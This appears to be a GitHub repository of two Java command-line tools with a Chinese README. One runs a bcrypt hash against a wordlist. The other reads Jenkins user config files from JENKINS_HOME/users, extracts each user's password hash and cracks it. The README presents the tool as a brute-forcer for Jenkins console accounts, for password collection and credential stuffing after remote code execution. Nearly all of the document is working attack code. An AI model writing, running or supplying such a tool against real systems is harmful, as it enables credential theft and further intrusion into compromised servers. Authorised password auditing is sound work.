├── BcryptCrack
├── BcryptCrack-1.0-SNAPSHOT.jar
├── BcryptCrack.iml
├── pom.xml
└── src
│ └── main
│ └── java
│ └── com
│ └── cat
│ └── bc
│ └── BcryptCrack.java
├── BcryptCrack_Jenkins
├── BcryptCrack.iml
├── BcryptCrack_Jenkins-1.0-SNAPSHOT.jar
├── pom.xml
└── src
│ └── main
│ └── java
│ └── com
│ └── cat
│ └── bc
│ ├── BcryptCrack.java
│ └── GetXML.java
└── README.md
/BcryptCrack/BcryptCrack-1.0-SNAPSHOT.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rabbitmask/BcryptCrack_Jenkins/59b3816c4a1b980bbcb5d9ac01bff4d2275c0a70/BcryptCrack/BcryptCrack-1.0-SNAPSHOT.jar
--------------------------------------------------------------------------------
/BcryptCrack/BcryptCrack.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/BcryptCrack/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | BcryptCrack
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 | org.mindrot
15 | jbcrypt
16 | 0.4
17 |
18 |
19 |
20 |
21 |
22 |
23 | org.apache.maven.plugins
24 | maven-shade-plugin
25 | 1.2.1
26 |
27 |
28 | package
29 |
30 | shade
31 |
32 |
33 |
34 |
36 | com.cat.bc.BcryptCrack
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | 8
48 | 8
49 |
50 |
51 |
--------------------------------------------------------------------------------
/BcryptCrack/src/main/java/com/cat/bc/BcryptCrack.java:
--------------------------------------------------------------------------------
1 | package com.cat.bc;
2 |
3 | import org.mindrot.jbcrypt.BCrypt;
4 |
5 | import java.io.IOException;
6 | import java.nio.file.Files;
7 | import java.nio.file.Paths;
8 | import java.util.ArrayList;
9 | import java.util.List;
10 | import java.util.Scanner;
11 |
12 |
13 | public class BcryptCrack {
14 | public static void main(String[] args) {
15 |
16 | Scanner h = new Scanner(System.in);
17 | System.out.print("请输入您的密文:");
18 | String hashed = h.nextLine();
19 |
20 | Scanner p = new Scanner(System.in);
21 | System.out.print("请提供您的字典:");
22 | String Pass_Path = p.nextLine();
23 |
24 | List pass = readTxt(Pass_Path);
25 |
26 | getPass(hashed,pass);
27 |
28 | }
29 |
30 |
31 | public static void getPass(String hashed, List pass) {
32 | assert pass != null;
33 | for (Object o : pass) {
34 | if (BCrypt.checkpw((String) o, hashed)) {
35 | System.out.println("破解成功:" + o);
36 | break;
37 | }
38 | }
39 | }
40 |
41 | //读取TXT返回列表形式
42 | public static List readTxt(String filePath) {
43 | List fileList = new ArrayList<>();
44 | try {
45 | fileList = Files.readAllLines(Paths.get(filePath));
46 | } catch (IOException e) {
47 | e.printStackTrace();
48 | }
49 | return fileList;
50 | }
51 |
52 | }
53 |
54 |
55 |
--------------------------------------------------------------------------------
/BcryptCrack_Jenkins/BcryptCrack.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/BcryptCrack_Jenkins/BcryptCrack_Jenkins-1.0-SNAPSHOT.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rabbitmask/BcryptCrack_Jenkins/59b3816c4a1b980bbcb5d9ac01bff4d2275c0a70/BcryptCrack_Jenkins/BcryptCrack_Jenkins-1.0-SNAPSHOT.jar
--------------------------------------------------------------------------------
/BcryptCrack_Jenkins/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | BcryptCrack
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 | org.mindrot
15 | jbcrypt
16 | 0.4
17 |
18 |
19 |
20 | org.apache.commons
21 | commons-lang3
22 | 3.11
23 |
24 |
25 |
26 | dom4j
27 | dom4j
28 | 1.6.1
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 | org.apache.maven.plugins
38 | maven-shade-plugin
39 | 1.2.1
40 |
41 |
42 | package
43 |
44 | shade
45 |
46 |
47 |
48 |
50 | com.cat.bc.BcryptCrack
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 | 8
62 | 8
63 |
64 |
65 |
--------------------------------------------------------------------------------
/BcryptCrack_Jenkins/src/main/java/com/cat/bc/BcryptCrack.java:
--------------------------------------------------------------------------------
1 | package com.cat.bc;
2 |
3 |
4 | import org.mindrot.jbcrypt.BCrypt;
5 |
6 | import java.io.IOException;
7 | import java.nio.file.Files;
8 | import java.nio.file.Paths;
9 | import java.util.*;
10 |
11 |
12 | public class BcryptCrack {
13 |
14 |
15 | public static void main(String[] args) {
16 |
17 |
18 | Scanner u = new Scanner(System.in);
19 | System.out.print("请提供 JENKINS_HOME/users 目录:");
20 | String Users_Path = u.nextLine();
21 |
22 | Scanner p = new Scanner(System.in);
23 | System.out.print("请提供您的字典:");
24 | String Pass_Path = p.nextLine();
25 |
26 | List pass = readTxt(Pass_Path);
27 |
28 | Map usermap = getUserMap(Users_Path);
29 |
30 | for (String key : usermap.keySet()) {
31 | try {
32 | String passwordHash=getUserHashed(Users_Path,usermap.get(key));
33 | getPass(key,passwordHash,pass);
34 | } catch (Exception e) {
35 | // e.printStackTrace();
36 | }
37 |
38 | }
39 |
40 | }
41 |
42 | public static String getUserHashed(String Users_Path,String userConfigName) {
43 | String xml = null;
44 | try {
45 | xml = GetXML.LoadContentByPath(Users_Path+"\\"+userConfigName+"\\config.xml");
46 | } catch (IOException e) {
47 | // e.printStackTrace();
48 | }
49 | List passwordHash =GetXML.getFieldListByRegex(xml,"passwordHash");
50 | return (passwordHash.get(0).replace("#jbcrypt:",""));
51 |
52 | }
53 |
54 |
55 | public static Map getUserMap(String Users_Path){
56 | String xml = null;
57 | try {
58 | xml = GetXML.LoadContentByPath(Users_Path+"\\users.xml");
59 | } catch (IOException e) {
60 | e.printStackTrace();
61 | }
62 | List user_hashed =GetXML.getFieldListByRegex(xml,"string");
63 | Map m = new HashMap<>();
64 |
65 | for(int i=0;i pass) {
74 | assert pass != null;
75 | for (Object o : pass) {
76 | if (BCrypt.checkpw((String) o, hashed)) {
77 | System.out.println(user+":" + o);
78 | break;
79 | }
80 | }
81 | }
82 |
83 |
84 | public static List readTxt(String filePath) {
85 | List fileList = new ArrayList<>();
86 | try {
87 | fileList = Files.readAllLines(Paths.get(filePath));
88 | } catch (IOException e) {
89 | e.printStackTrace();
90 | }
91 | return fileList;
92 | }
93 |
94 |
95 | }
96 |
97 |
98 |
--------------------------------------------------------------------------------
/BcryptCrack_Jenkins/src/main/java/com/cat/bc/GetXML.java:
--------------------------------------------------------------------------------
1 | package com.cat.bc;
2 |
3 | import org.apache.commons.lang3.StringUtils;
4 |
5 | import java.io.*;
6 | import java.util.ArrayList;
7 | import java.util.List;
8 | import java.util.regex.Matcher;
9 | import java.util.regex.Pattern;
10 |
11 |
12 | public class GetXML {
13 |
14 | public static String LoadContentByPath(String path) throws IOException {
15 | InputStream is = new FileInputStream(path);
16 | BufferedReader in = new BufferedReader(new InputStreamReader(is));
17 | StringBuilder buffer = new StringBuilder();
18 | String line = "";
19 | while ((line = in.readLine()) != null){
20 | buffer.append(line);
21 | }
22 | return buffer.toString();
23 |
24 | }
25 |
26 | public static List getFieldListByRegex(String xml, String label) {
27 | //正则表达式
28 | String regex = "<" + label + ">(.*?)" + label + ">";
29 | Pattern pattern = Pattern.compile(regex);
30 | Matcher m = pattern.matcher(xml);
31 | //匹配的有多个
32 | List fieldList = new ArrayList<>();
33 | while (m.find()) {
34 | if (StringUtils.isNotEmpty(m.group(1).trim())) {
35 | fieldList.add(m.group(1).trim());
36 | }
37 | }
38 | return fieldList;
39 | }
40 |
41 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BcryptCrack_Jenkins
2 |
3 | 针对于Jenkins控制台用户的暴力破解工具
4 |
5 | 适用场景:RCE之后的密码收集、撞库等
6 |
7 | ### Demo:
8 | ```
9 | java -jar BcryptCrack_Jenkins-1.0-SNAPSHOT.jar
10 | 请提供 JENKINS_HOME/users 目录:
11 | 请提供您的字典:
12 | ```
13 |
--------------------------------------------------------------------------------